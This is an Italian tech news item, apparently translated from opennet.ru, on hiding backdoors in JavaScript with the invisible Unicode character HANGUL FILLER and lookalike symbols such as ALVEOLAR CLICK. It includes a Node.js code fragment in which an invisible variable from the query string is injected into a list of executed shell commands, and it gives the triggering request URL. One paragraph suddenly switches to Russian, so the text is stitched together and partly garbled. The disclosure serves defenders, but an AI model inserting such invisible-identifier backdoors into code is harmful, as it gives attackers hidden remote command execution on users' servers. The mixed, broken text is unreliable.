Utilizzo di caratteri unicode invisibili per nascondere azioni nel codice JavaScript

Dopo il metodo di attacco Trojan Source, basato sull'uso di simboli Unicode che alterano l'ordine di visualizzazione del testo bidirezionale, Γ¨ stata pubblicata un'altra tecnica per l'inserimento di azioni nascoste, applicabile al codice JavaScript. Il nuovo metodo si basa sull'uso del simbolo unicode "γ…€" (codice 0x3164, "HANGUL FILLER"), che appartiene alla categoria delle lettere, ma non ha contenuto visibile. La categoria Unicode a cui appartiene questo simbolo Γ¨ consentita a partire dalla specifica ECMAScript 2015 per l'uso nei nomi delle variabili JavaScript, il che consente di creare variabili invisibili o nuove variabili indistinguibili da altre variabili nei popolari editor di codice, come Notepad++ e VS Code.

Come esempio viene presentato il codice per la piattaforma Node.js, in cui mediante una variabile composta da un singolo simbolo "γ…€" Γ¨ nascosto un backdoor che permette di eseguire il codice specificato dall'attaccante: app.get(β€˜/network_health’, async (req, res) => { const { timeout,γ…€} = req.query; // in realtΓ  Γ¨ indicato come Β«const { timeout,γ…€ \u3164}Β» const checkCommands = [ β€˜ping -c 1 google.com’, β€˜curl -s http://example.com/’,γ…€ // dopo la virgola segue il simbolo \u3164 ];

На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд Ρ‡Π΅Ρ€Π΅Π· внСшний ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ пСрСдаётся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ timeout, Π° массив с выполняСмыми ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌΠΈ содСрТит Π±Π΅Π·ΠΎΠ±ΠΈΠ΄Π½Ρ‹ΠΉ фиксированный список. Но Π½Π° Π΄Π΅Π»Π΅ послС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ timeout присваиваСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎΠΉ Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с ΠΊΠΎΠ΄ΠΎΠΌ символа \u3164, которая Ρ‚Π°ΠΊΠΆΠ΅ подставлСна Π² массив исполняСмых ΠΊΠΎΠΌΠ°Π½Π΄. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΉ конструкции для Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ бэкдора ΠΈ выполнСния своСго ΠΊΠΎΠ΄Π° Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ запрос Π²ΠΈΠ΄Π° Β«https://host:8080/network_health?%E3%85%A4=ΠΊΠΎΠΌΠ°Π½Π΄Π°Β».

Come ulteriore esempio viene presentato il simbolo "Ηƒ" (ALVEOLAR CLICK), che puΓ² essere utilizzato per creare l'apparenza di un punto esclamativo. Ad esempio, l'espressione "if(environmentΗƒ=ENV_PROD){" in esecuzione su Node.js 14 sarΓ  sempre vera, poichΓ© non sta effettuando un confronto, ma assegnando alla variabile "environmentΗƒ" il valore ENV_PROD. Tra i simboli unicode ingannevoli, si notano anche "/", "βˆ’", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ" e "βˆ—".

Fonte: opennet.ru

Acquista un hosting affidabile per siti con protezione DDoS, server VPS VDS πŸ”₯ Acquista un hosting affidabile per siti con protezione DDoS, server VPS VDS | ProHoster